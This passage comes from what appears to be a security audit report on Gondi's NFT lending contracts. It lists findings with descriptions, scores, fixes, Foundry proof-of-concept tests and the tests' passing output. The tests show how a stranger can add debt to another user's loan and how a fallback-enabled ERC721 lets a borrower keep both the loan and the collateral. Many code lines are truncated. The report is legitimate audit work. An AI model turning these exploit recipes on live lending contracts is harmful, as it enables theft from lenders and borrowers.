    uint256 total = owed + excess.mulDivDown(owed, _totalOwed);
    _handleLoanManagerCall(_tranche, total);
    ERC20(_tokenAddress).safeTransferFrom(_liquidator, _tranche.lender, tot
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:M/D:N/Y:H (8.8)

Recommendation

It is recommended to calculate the interest to be paid to the lender in each tranche, considering that its duration shouldn't extend beyond the loan duration.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/462397e46e28a07c523032e5c155975e9a0f77ba

7.5 OVERPAYMENT WHEN SETTLING AUCTIONS WITH BUYOUT

// HIGH

Description

The `settleWithBuyout` function in the **AuctionWithBuyoutLoanLiquidator** contract miscalculates the interest to be paid by the buyer in each tranche. This situation happens because the function considers for the interest calculation the duration is between the tranche start time and the current time. However, the tranche duration shouldn't extend beyond the loan duration.

As a consequence, buyers will be overpaying each tranche in loans when settling auctions with buyout.

Code Location

The `settleWithBuyout` function in the **AuctionWithBuyoutLoanLiquidator** contract miscalculates the interest to be paid by the buyer in each tranche:

```
for (uint256 i; i < _loan.tranche.length;) {
  if (i != largestTrancheIdx) {
    IMultiSourceLoan.Tranche calldata thisTranche = _loan.tranche[i];
    uint256 owed = thisTranche.principalAmount + thisTranche.accruedInter
      + thisTranche.principalAmount.getInterest(thisTranche.aprBps, block
    totalOwed += owed;
    asset.safeTransferFrom(msg.sender, thisTranche.lender, owed);
  }
  unchecked {
    ++i;
  }
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:M/D:N/Y:H (8.8)

Recommendation

It is recommended to calculate the interest to be paid by the buyer in each tranche, considering that its duration shouldn't extend beyond the loan duration.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/462397e46e28a07c523032e5c155975e9a0f77ba

7.6 UNRESTRICTED ACCESS TO ADD TRANCHES TO ANY LOAN

// HIGH

Description

The addNewTranche function in the **MultiSourceLoan** contract can be openly called by anyone. As a consequence, a malicious user could add tranches to other users' loans without their consent, which would increase their debts and the future interests to pay.

Code Location

The addNewTranche function in the **MultiSourceLoan** contract can be openly called by anyone:

```
function addNewTranche(
  RenegotiationOffer calldata _renegotiationOffer,
  Loan memory _loan,
  bytes calldata _renegotiationOfferSignature
) external nonReentrant returns (uint256, Loan memory) {
  uint256 loanId = _renegotiationOffer.loanId;

  _baseLoanChecks(loanId, _loan);
  _baseRenegotiationChecks(_renegotiationOffer, _loan);
  _checkSignature(_renegotiationOffer.lender, _renegotiationOffer.hash(),
  if (_loan.tranche.length == getMaxTranches) {
    revert TooManyTranchesError();
  }

  uint256 newLoanId = _getAndSetNewLoanId();
  Loan memory loanWithTranche = _addNewTranche(newLoanId, _loan, _renegot
  _loans[newLoanId] = loanWithTranche.hash();
  delete _loans[loanId];

  ERC20(_loan.principalAddress).safeTransferFrom(
    _renegotiationOffer.lender, _loan.borrower, _renegotiationOffer.princ
  );
  if (_renegotiationOffer.fee > 0) {
    /// @dev Cached
    ProtocolFee memory protocolFee = _protocolFee;
    ERC20(_loan.principalAddress).safeTransferFrom(
      _renegotiationOffer.lender,
      protocolFee.recipient,
      _renegotiationOffer.fee.mulDivUp(protocolFee.fraction, _PRECISION)
```

```
    );
  }

  emit LoanRefinanced(
    _renegotiationOffer.renegotiationId, loanId, newLoanId, loanWithTranc
  );

  return (newLoanId, loanWithTranche);
}
```

Proof of Concept

Foundry test that shows how a random user can add a new tranche in other user's loan:

```
function testAddNewTranche() public {

  (uint256 loanId, IMultiSourceLoan.Loan memory loan) = _setupMultipleRefi(1);

  uint256 reOfferPrincipalAmount = loan.principalAmount / 2;
  uint256 newAprBps = loan.tranche[0].aprBps * 2 / 3;

  IMultiSourceLoan.RenegotiationOffer memory reOffer =
      _getSampleRenegotiationNewTranche(loanId, loan, reOfferPrincipalAmount,

  address randomUser = address(1969);
  assertEq(randomUser != _borrower, true);

  vm.prank(randomUser);
  ( , IMultiSourceLoan.Loan memory newLoan) = _msLoan.addNewTranche(reOffer, l

  assertEq(newLoan.borrower, _borrower);
  assertEq(newLoan.tranche.length, loan.tranche.length + 1);
  assertEq(newLoan.tranche[newLoan.tranche.length - 1].principalAmount, reOffe
  assertEq(newLoan.principalAmount, loan.principalAmount + reOfferPrincipalAmo
}
```

The result of the test is the following:

```
❯ forge test  --match-path test/loans/MultiSourceLoan.t.sol --match-test testAddNewTranche -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/loans/MultiSourceLoan.t.sol:MultiSourceLoanTest
[PASS] testAddNewTranche() (gas: 361553)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.12ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:H/Y:N (7.5)

Recommendation

It is recommended to restrict access to the `addNewTranche` function, so only a borrower can add more tranches to his / her own loan.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/4e424be8cf01c7cb349c7a14698a876d54fd7476

7.7 LOANS ARE NOT TERMINATED WHEN SETTLING AN AUCTION WITH A BUYOUT

// HIGH

Description

The `settleWithBuyout` function in the **AuctionWithBuyoutLoanLiquidator** contract does not call `LoanManager.loanLiquidation` for the tranches lenders (only applies for pools), so they won't be able to terminate their loans. As a consequence, their outstanding values won't update appropriately, which directly affect the correct operation of the pools and their withdrawal queues.

Code Location

The `settleWithBuyout` in the **AuctionWithBuyoutLoanLiquidator** contract does not call `LoanManager.loanLiquidation`:

```
function settleWithBuyout(
  address _nftAddress,
  uint256 _tokenId,
  Auction calldata _auction,
  IMultiSourceLoan.Loan calldata _loan
) external nonReentrant {
  /// TODO: Originator fee
  _checkAuction(_nftAddress, _tokenId, _auction);
  uint256 timeLimit = _auction.startTime + _timeForMainLenderToBuy;
  if (timeLimit < block.timestamp) {
    revert OptionToBuyExpiredError(timeLimit);
  }
  uint256 largestTrancheIdx;
  uint256 largestPrincipal;
  for (uint256 i = 0; i < _loan.tranche.length;) {
    if (_loan.tranche[i].principalAmount > largestPrincipal) {
      largestPrincipal = _loan.tranche[i].principalAmount;
      largestTrancheIdx = i;
    }
    unchecked {
      ++i;
    }
  }
  if (msg.sender != _loan.tranche[largestTrancheIdx].lender) {
    revert NotMainLenderError();
  }
```

```
  ERC20 asset = ERC20(_auction.asset);
  uint256 totalOwed;
  for (uint256 i; i < _loan.tranche.length;) {
    if (i != largestTrancheIdx) {
      IMultiSourceLoan.Tranche calldata thisTranche = _loan.tranche[i];
      uint256 owed = thisTranche.principalAmount + thisTranche.accruedInt
        + thisTranche.principalAmount.getInterest(thisTranche.aprBps, blo
      totalOwed += owed;
      asset.safeTransferFrom(msg.sender, thisTranche.lender, owed);
    }
    unchecked {
      ++i;
    }
  }
  IMultiSourceLoan(_auction.loanAddress).loanLiquidated(_auction.loanId,

  asset.safeTransfer(_auction.originator, totalOwed.mulDivDown(_auction.t

  ERC721(_loan.nftCollateralAddress).transferFrom(address(this), msg.send

  delete _auctions[_nftAddress][_tokenId];

  emit AuctionSettledWithBuyout(_auction.loanAddress, _auction.loanId, _n
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:N/Y:N (7.5)

Recommendation

It is recommended to update the loop in the function mentioned above to process the loan termination for each applicable tranche lender.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/462397e46e28a07c523032e5c155975e9a0f77ba

7.8 LACK OF VALIDATION WHEN DEPOSITING ERC721 TOKENS // MEDIUM

Description

The `_depositERC721` and `_depositOldERC721` functions in the **UserVault** contract try to transfer the ERC721 token from the user to itself. However, none of those functions validate if they are transferring a standard ERC721 collection or an old / legacy one (i.e.: not compliant with the current ERC721 standard).

As a consequence, if a malicious user owns a token from a whitelisted ERC721 collection with the `fallback` function enabled, he can purposely call the "inappropriate" method to trick the **UserVault** contract as if he had deposited the token as collateral without actually having done so. Here is a step-by-step example on how this issue can be exploited:
1. Borrower mints an NFT from **UserVault** and then calls the `depositOldERC721` function, which internally calls `_depositOldERC721` to try to deposit a **standard ERC721 token**.
2. Then, `_depositOldERC721` calls `IOldERC721(_collection).takeOwnership(_tokenId)`. Because this latter function does not exist on a standard ERC721 contract, the `fallback` function will be called instead, which returns without any issue.
3. A lender creates a loan offer for the vault-generated NFT because the `OldERC721OwnerOf` method in the **UserVault** contract shows him that the NFT has a whitelisted ERC721 token as collateral.
4. Borrower calls `emitLoan` function and receives the loan.
5. The loan expires and the lender does not receive any payment, so he liquidates the loan and receives the vault-generated NFT.
6. The lender burns the vault-generated NFT and then tries to withdraw the ERC721 token supposedly "deposited" as collateral by calling the `withdrawOldERC721` function.
7. At some point during the withdrawal process, the following code is executed: `IOldERC721(_collection).transfer(msg.sender, _tokenId)`. Because this latter function does not exist on a standard ERC721 contract, the `fallback` function will be called instead, which returns without any issue.
8. At the end, the borrower keeps both the loan and the ERC721 token.

Code Location

The `_depositERC721` and `_depositOldERC721` functions in the **UserVault** do not validate whether they are transferring a standard ERC721 collection or an old / legacy one:

```
function _depositERC721(address _depositor, uint256 _vaultId, address _co
  ERC721(_collection).transferFrom(_depositor, address(this), _tokenId);

  _vaultERC721s[_collection][_tokenId] = _vaultId;

```

```
    emit ERC721Deposited(_vaultId, _collection, _tokenId);
  }
```

```
  function _depositOldERC721(address _depositor, uint256 _vaultId, address
    if (_depositor != IOldERC721(_collection).ownerOf(_tokenId)) {
      revert InvalidCallerError();
    }
    IOldERC721(_collection).takeOwnership(_tokenId);

    _vaultOldERC721s[_collection][_tokenId] = _vaultId;

    emit OldERC721Deposited(_vaultId, _collection, _tokenId);
  }
```

Proof of Concept

Foundry test that shows that the _depositOldERC721 function does not validate that a user tries to deposit an standard ERC721 token instead of an old / legacy one, as expected. As a consequence, he is able to trick the **UserVault** contract as if he had deposited the token as collateral. Later, the lender won't be able to withdraw the ERC721 token in case of non-payment of the loan:

```
function testEmitLoanFromUserVault() public {

  /******************************** Setup phase ******************************

  TestCollection testCollection = new TestCollection();
  testCollection.mint(_borrower, collateralTokenId);

  UserVault userVault = new UserVault(address(currencyManager), address(collec

  vm.startPrank(collectionManager.owner());

  collectionManager.add(address(testCollection));
  collectionManager.add(address(userVault));

  vm.stopPrank();


  /**************************** Before depositing ****************************

  assertEq(testCollection.ownerOf(collateralTokenId), _borrower); // Borrower
  assertEq(testToken.balanceOf(_borrower), 0); // Borrower doesn't have any te
```

```
uint256 oldERC721OwnerBefore = userVault.OldERC721OwnerOf(address(testColle
assertEq(oldERC721OwnerBefore, 0); // ERC271 token is not deposited in User\


/***************************** Depositing process **************************

vm.startPrank(_borrower);

uint256 vaultId = userVault.mint();

// Depositing standard ERC721 token using depositOldERC721 function
userVault.depositOldERC721(vaultId, address(testCollection), collateralToken


/****************************** After depositing ***************************

assertEq(testCollection.ownerOf(collateralTokenId), _borrower); // Borrower
assertEq(testToken.balanceOf(_borrower), 0); // Borrower doesn't have any te

uint256 oldERC721OwnerAfter = userVault.OldERC721OwnerOf(address(testCollect
assertEq(oldERC721OwnerAfter, vaultId); // ERC271 token has been "deposited'


/***************************** Borrowing process ***************************

userVault.approve(address(_msLoan), vaultId);

IMultiSourceLoan.LoanOffer memory loanOffer =
    _getSampleOffer(address(userVault), vaultId, _INITIAL_PRINCIPAL);
loanOffer.duration = 30 days;
(, IMultiSourceLoan.Loan memory loan) = _msLoan.emitLoan(
    IMultiSourceLoan.LoanExecutionData(_sampleExecutionData(loanOffer, _borr
);

vm.stopPrank();


/****************************** After borrowing ****************************

assertEq(testCollection.ownerOf(collateralTokenId), _borrower); // Borrower
assertEq(testToken.balanceOf(_borrower), loan.principalAmount); // Borrower
assertEq(userVault.ownerOf(vaultId), address(_msLoan)); // The msLoan contra
```

```
/******************************* After liquidation ******************************

skip(loan.duration + 1); // Loan duration has passed, it's possible to liqui

vm.startPrank(_originalLender);

uint256 loanId = loan.tranche[0].loanId;
_msLoan.liquidateLoan(loanId, loan);

assertEq(testCollection.ownerOf(collateralTokenId), _borrower); // Borrower
assertEq(testToken.balanceOf(_borrower), loan.principalAmount); // Borrower
assertEq(userVault.ownerOf(vaultId), _originalLender); // Lender owns the va


/************************* Trying to burn and withdraw ********************

userVault.burn(vaultId, _originalLender);
userVault.withdrawOldERC721(vaultId, address(testCollection), collateralToke

assertEq(testCollection.ownerOf(collateralTokenId), _borrower); // Borrower
assertEq(testToken.balanceOf(_borrower), loan.principalAmount); // Borrower

vm.expectRevert(bytes("NOT_MINTED")); // Vault-generated NFT was burned, as
userVault.ownerOf(vaultId);

vm.stopPrank();
}
```

The result of the test is the following:

```
❯ forge test  --match-path test/loans/MultiSourceLoan.t.sol --match-test testEmitLoanFromUserVault -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/loans/MultiSourceLoan.t.sol:MultiSourceLoanTest
[PASS] testEmitLoanFromUserVault() (gas: 3261914)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.23ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Attachment: Code of **TestCollection** contract used in the Foundry test.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.21;
```

```
import "@solmate/tokens/ERC721.sol";

contract TestCollection is ERC721("TEST_COLLECTION", "TC") {
    uint256 public lastId;

    constructor() {}

    // TEST only function, it should not exist on production contract
    function mint(address to, uint256 id) external {
        _mint(to, id);
        if (id > lastId) {
            lastId = id + 1;
        } else {
            lastId++;
        }
    }

    function tokenURI(uint256 id) public pure override returns (string memory)
        return string(abi.encodePacked("", id));
    }

    fallback() external {}
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:H/D:H/Y:N (6.3)

Recommendation

It is recommended to manage two different whitelists for both ERC721 collections (standard and old / legacy ones) and use them to validate which kind of NFT contract is being used as an input before further processing.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/e52e708381f60a75450c18c1b7e722effe90cb3e

7.9 SOME LEGACY ERC721 COLLECTIONS COULD ALLOW TO BORROW WITHOUT COLLATERALS

// MEDIUM

Description

The emitLoan function in the **MultiSourceLoan** contract calls the transferFrom function to transfer the ERC721 token from the user to itself. However, if any of the ERC71 collections whitelisted is an old / legacy one (i.e.: not compliant with the current ERC721 standard) and has the fallback function enabled, it allows users to borrow loans without depositing their NFTs as collateral. Furthermore, lenders won't be able to liquidate the loans in case of non-payment.

Here is a step-by-step example on how this issue can be exploited:

1. Borrower calls emitLoan function.
2. The function will call `IERC721(nftCollateralAddress).transferFrom(borrower, address(this), executionData.tokenId)`. Because this latter function does not exist on an old /legacy ERC721 contract, the **fallback** function will be called instead, which returns without any issue.
3. The borrower receives the loan and still owns the ERC721 token.
4. The loan expires and the lender does not receive any payment. When he tries to liquidate the loan, the following code will be executed: `ERC721(_loan.nftCollateralAddress).transferFrom(address(this), _loanLiquidator, _loan.nftCollateralTokenId)`. Because this latter function does not exist on an old / legacy ERC721 contract, the fallback function will be called instead, which returns without any issue.
5. At the end, the borrower keeps both the loan and the ERC721 token.

Code Location

If any of the ERC71 collections whitelisted is an old / legacy one (i.e.: not compliant with current ERC721 standard) and has the fallback function enabled, the emitLoan function would allow users to borrow loans without depositing their NFTs as collateral:

```
function emitLoan(LoanExecutionData calldata _loanExecutionData)
  external
  nonReentrant
  returns (uint256, Loan memory)
{
  address borrower = _loanExecutionData.borrower;
  ExecutionData calldata executionData = _loanExecutionData.executionData
  (address principalAddress, address nftCollateralAddress) = _getAddresse

  OfferExecution[] calldata offerExecution = executionData.offerExecution

  _validateExecutionData(_loanExecutionData, borrower);
```

```
  _checkWhitelists(principalAddress, nftCollateralAddress);

  (uint256 loanId, uint256[] memory offerIds, Loan memory loan, uint256 t
  _processOffersFromExecutionData(
    borrower,
    executionData.principalReceiver,
    principalAddress,
    nftCollateralAddress,
    executionData.tokenId,
    executionData.duration,
    offerExecution
  );

  if (_hasCallback(executionData.callbackData)) {
    handleAfterPrincipalTransferCallback(loan, msg.sender, executionData.
  }

  ERC721(nftCollateralAddress).transferFrom(borrower, address(this), exec

  _loans[loanId] = loan.hash();
  emit LoanEmitted(loanId, offerIds, loan, totalFee);

  return (loanId, loan);
}
```

Proof of Concept

Foundry test that shows that a user can borrow a loan without depositing his NFT as collateral and also that the lender won't be able to liquidate the loan in case of non-payment:

```
function testEmitLoanOldERC721() public {

  /******************************** Setup phase *****************************

  address oldCollateralCollection = deployCode("TestOldCollection.sol");

  oldCollateralCollection.call(
    abi.encodeWithSignature("mint(address,uint256)", _borrower, collateralToke
  );

  vm.prank(collectionManager.owner());
  collectionManager.add(oldCollateralCollection);
```

```
/****************************** Before borrowing ****************************

(, bytes memory ownerBeforeBorrowingInBytes) = oldCollateralCollection.call(
   abi.encodeWithSignature("ownerOf(uint256)", collateralTokenId )
);
address ownerBeforeBorrowing = abi.decode(ownerBeforeBorrowingInBytes, (addr

assertEq(ownerBeforeBorrowing, _borrower); // Borrower owns old ERC721 toker
assertEq(testToken.balanceOf(_borrower), 0); // Borrower doesn't have any te


/****************************** Borrowing process ***************************

vm.startPrank(_borrower);

IMultiSourceLoan.LoanOffer memory loanOffer =
    _getSampleOffer(oldCollateralCollection, collateralTokenId, _INITIAL_PRI
loanOffer.duration = 30 days;
(, IMultiSourceLoan.Loan memory loan) = _msLoan.emitLoan(
    IMultiSourceLoan.LoanExecutionData(_sampleExecutionData(loanOffer, _borr
);

vm.stopPrank();


/******************************* After borrowing ****************************

(, bytes memory ownerAfterBorrowingInBytes) = oldCollateralCollection.call(
   abi.encodeWithSignature("ownerOf(uint256)", collateralTokenId )
);
address ownerAfterBorrowing = abi.decode(ownerAfterBorrowingInBytes, (addres

assertEq(ownerAfterBorrowing, _borrower); // Borrower still owns old ERC721
assertEq(testToken.balanceOf(_borrower), loan.principalAmount); // Borrower


/****************************** After liquidation ***************************

skip(loan.duration + 1); // Loan duration has passed, it's possible to liqui

uint256 loanId = loan.tranche[0].loanId;
vm.prank(_originalLender);
_msLoan.liquidateLoan(loanId, loan);
```

```
    (, bytes memory ownerAfterLiquidationInBytes) = oldCollateralCollection.call
        abi.encodeWithSignature("ownerOf(uint256)", collateralTokenId )
    );
    address ownerAfterLiquidation = abi.decode(ownerAfterLiquidationInBytes, (ad

    assertEq(ownerAfterLiquidation, _borrower); // Borrower still owns old ERC72
    assertEq(testToken.balanceOf(_borrower), loan.principalAmount); // Borrower
}
```

The result of the test is the following:

```
❯ forge test  --match-path test/loans/MultiSourceLoan.t.sol --match-test testEmitLoanOldERC721 -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/loans/MultiSourceLoan.t.sol:MultiSourceLoanTest
[PASS] testEmitLoanOldERC721() (gas: 878475)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.30ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Attachment: Code of **TestOldCollection** contract used in the Foundry test.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.4.23;



/*
Halborn's commentary: The code for ERC721Token and its dependencies was extrac
*/

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {

  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
    if (a == 0) {
      return 0;
    }
    c = a * b;
```

```
    assert(c / a == b);
    return c;
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    // uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't h
    return a / b;
  }

  /**
  * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is grea
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  /**
  * @dev Adds two numbers, throws on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
    c = a + b;
    assert(c >= a);
    return c;
  }
}


/**
 * @title ERC721Token
 * Generic implementation for the required functionality of the ERC721 standar
 */
contract ERC721Token {
  using SafeMath for uint256;

  event Transfer(address indexed _from, address indexed _to, uint256 _tokenId)
  event Approval(address indexed _owner, address indexed _approved, uint256 _t

  // Total amount of tokens
```

```
uint256 private totalTokens;

// Mapping from token ID to owner
mapping (uint256 => address) private tokenOwner;

// Mapping from token ID to approved address
mapping (uint256 => address) private tokenApprovals;

// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) private ownedTokens;

// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private ownedTokensIndex;

/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs
*/
modifier onlyOwnerOf(uint256 _tokenId) {
  require(ownerOf(_tokenId) == msg.sender);
  _;
}

/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
  return totalTokens;
}

/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
  return ownedTokens[_owner].length;
}

/**
* @dev Gets the list of tokens owned by a given address
* @param _owner address to query the tokens of
* @return uint256[] representing the list of tokens owned by the passed addr
```

```
  */
  function tokensOf(address _owner) public view returns (uint256[]) {
    return ownedTokens[_owner];
  }

  /**
  * @dev Gets the owner of the specified token ID
  * @param _tokenId uint256 ID of the token to query the owner of
  * @return owner address currently marked as the owner of the given token ID
  */
  function ownerOf(uint256 _tokenId) public view returns (address) {
    address owner = tokenOwner[_tokenId];
    require(owner != address(0));
    return owner;
  }

  /**
   * @dev Gets the approved address to take ownership of a given token ID
   * @param _tokenId uint256 ID of the token to query the approval of
   * @return address currently approved to take ownership of the given token I
   */
  function approvedFor(uint256 _tokenId) public view returns (address) {
    return tokenApprovals[_tokenId];
  }

  /**
  * @dev Transfers the ownership of a given token ID to another address
  * @param _to address to receive the ownership of the given token ID
  * @param _tokenId uint256 ID of the token to be transferred
  */
  function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenIc
    clearApprovalAndTransfer(msg.sender, _to, _tokenId);
  }

  /**
  * @dev Approves another address to claim for the ownership of the given toke
  * @param _to address to be approved for the given token ID
  * @param _tokenId uint256 ID of the token to be approved
  */
  function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId)
    address owner = ownerOf(_tokenId);
    require(_to != owner);
    if (approvedFor(_tokenId) != 0 || _to != 0) {
      tokenApprovals[_tokenId] = _to;
```

```
    Approval(owner, _to, _tokenId);
  }
}

/**
* @dev Claims the ownership of a given token ID
* @param _tokenId uint256 ID of the token being claimed by the msg.sender
*/
function takeOwnership(uint256 _tokenId) public {
  require(isApprovedFor(msg.sender, _tokenId));
  clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}

/**
* @dev Mint token function
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
  require(_to != address(0));
  addToken(_to, _tokenId);
  Transfer(0x0, _to, _tokenId);
}

/**
* @dev Burns a specific token
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal {
  if (approvedFor(_tokenId) != 0) {
    clearApproval(msg.sender, _tokenId);
  }
  removeToken(msg.sender, _tokenId);
  Transfer(msg.sender, 0x0, _tokenId);
}

/**
 * @dev Tells whether the msg.sender is approved for the given token ID or r
 * This function is not private so it can be extended in further implementat
 * @param _owner address of the owner to query the approval of
 * @param _tokenId uint256 ID of the token to query the approval of
 * @return bool whether the msg.sender is approved for the given token ID or
 */
function isApprovedFor(address _owner, uint256 _tokenId) internal view retur
```

```
    return approvedFor(_tokenId) == _owner;
  }

  /**
  * @dev Internal function to clear current approval and transfer the ownershi
  * @param _from address which you want to send tokens from
  * @param _to address which you want to transfer the token to
  * @param _tokenId uint256 ID of the token to be transferred
  */
  function clearApprovalAndTransfer(address _from, address _to, uint256 _toker
    require(_to != address(0));
    require(_to != ownerOf(_tokenId));
    require(ownerOf(_tokenId) == _from);

    clearApproval(_from, _tokenId);
    removeToken(_from, _tokenId);
    addToken(_to, _tokenId);
    Transfer(_from, _to, _tokenId);
  }

  /**
  * @dev Internal function to clear current approval of a given token ID
  * @param _tokenId uint256 ID of the token to be transferred
  */
  function clearApproval(address _owner, uint256 _tokenId) private {
    require(ownerOf(_tokenId) == _owner);
    tokenApprovals[_tokenId] = 0;
    Approval(_owner, 0, _tokenId);
  }

  /**
  * @dev Internal function to add a token ID to the list of a given address
  * @param _to address representing the new owner of the given token ID
  * @param _tokenId uint256 ID of the token to be added to the tokens list of
  */
  function addToken(address _to, uint256 _tokenId) private {
    require(tokenOwner[_tokenId] == address(0));
    tokenOwner[_tokenId] = _to;
    uint256 length = balanceOf(_to);
    ownedTokens[_to].push(_tokenId);
    ownedTokensIndex[_tokenId] = length;
    totalTokens = totalTokens.add(1);
  }
```

```
  /**
  * @dev Internal function to remove a token ID from the list of a given addre
  * @param _from address representing the previous owner of the given token ID
  * @param _tokenId uint256 ID of the token to be removed from the tokens list
  */
  function removeToken(address _from, uint256 _tokenId) private {
    require(ownerOf(_tokenId) == _from);

    uint256 tokenIndex = ownedTokensIndex[_tokenId];
    uint256 lastTokenIndex = balanceOf(_from).sub(1);
    uint256 lastToken = ownedTokens[_from][lastTokenIndex];

    tokenOwner[_tokenId] = 0;
    ownedTokens[_from][tokenIndex] = lastToken;
    ownedTokens[_from][lastTokenIndex] = 0;
    // Note that this will handle single-element arrays. In that case, both to
    // be zero. Then we can make sure that we will remove _tokenId from the ow
    // the lastToken to the first position, and then dropping the element plac

    ownedTokens[_from].length--;
    ownedTokensIndex[_tokenId] = 0;
    ownedTokensIndex[lastToken] = tokenIndex;
    totalTokens = totalTokens.sub(1);
  }
}



contract TestOldCollection is ERC721Token {
    uint256 public lastId;

    // TEST only function, it should not exist on production contract
    function mint(address to, uint256 id) external {
        _mint(to, id);
        if (id > lastId) {
            lastId = id + 1;
        } else {
            lastId++;
        }
    }

    function () external payable { }
```

```
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:H/D:H/Y:N (6.3)

Recommendation

It is recommended to manage two different whitelists for both ERC721 collections (standard and old / legacy ones) and use them to validate which kind of NFT contract is being used as an input before further processing.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue and stated the following:
The whitelist for MultiSourceLoan contract will only include standard ERC721 tokens, not the old / legacy ones.

7.10 TRIGGER FEE PAYMENT COULD CREATE UNEXPECTED SITUATIONS

// MEDIUM

Description

The `settleWithBuyout` function in the **AuctionWithBuyoutLoanLiquidator** contract tries to transfer the trigger fee from the contract to the auction originator. However, this payment should have been made by the buyer (i.e.: main lender), not the **AuctionWithBuyoutLoanLiquidator** contract. This issue could generate two different consequences:

1. If the **AuctionWithBuyoutLoanLiquidator** contract has enough balance to pay the trigger fee because of other auctions in progress, this payment will negatively affect those auctions.
2. If the **AuctionWithBuyoutLoanLiquidator** contract doesn't have enough balance to pay the trigger fee, the operation will revert. In order to overcome this drawback, the buyer just needs to transfer the trigger fee to the contract and call the settleWithBuyout function again.

Code Location

The payment in the `settleWithBuyout` function is made by the **AuctionWithBuyoutLoanLiquidator** contract:

```
IMultiSourceLoan(_auction.loanAddress).loanLiquidated(_auction.loanId,

asset.safeTransfer(_auction.originator, totalOwed.mulDivDown(_auction.t

ERC721(_loan.nftCollateralAddress).transferFrom(address(this), msg.send

delete _auctions[_nftAddress][_tokenId];

emit AuctionSettledWithBuyout(_auction.loanAddress, _auction.loanId, _n
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:L/I:N/D:H/Y:N (5.4)

Recommendation

It is recommended that the trigger fee be paid by the buyer, not the **AuctionWithBuyoutLoanLiquidator** contract.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/40739ecb6cf542078bb5a7b6227a1a928729a34a

7.11 AUCTIONS COULD BECOME ENDLESS

// MEDIUM

Description

The `placeBid` function in the **AuctionLoanLiquidator** contract does not limit how long auctions can extend. As a consequence, auctions could extend indefinitely as long as new bids appear every 10 minutes or less, without the possibility to settle them.

Code Location

The `placeBid` function does not limit how long auctions can extend:

```
function placeBid(address _nftAddress, uint256 _tokenId, Auction memory _
  external
  nonReentrant
  returns (Auction memory)
{
  _placeBidChecks(_nftAddress, _tokenId, _auction, _bid);

  uint256 currentHighestBid = _auction.highestBid;
  if (_bid == 0 || (currentHighestBid.mulDivDown(_BPS + MIN_INCREMENT_BPS
    revert MinBidError(_bid);
  }

  uint256 currentTime = block.timestamp;
  uint96 expiration = _auction.startTime + _auction.duration;
  uint96 withMargin = _auction.lastBidTime + _MIN_NO_ACTION_MARGIN;
  uint96 max = withMargin > expiration ? withMargin : expiration;
  if (max < currentTime && currentHighestBid > 0) {
    revert AuctionOverError(max);
  }
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:H/I:N/D:N/Y:N (5.0)

Recommendation

It is recommended to set a maximum threshold for the auction extensions.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

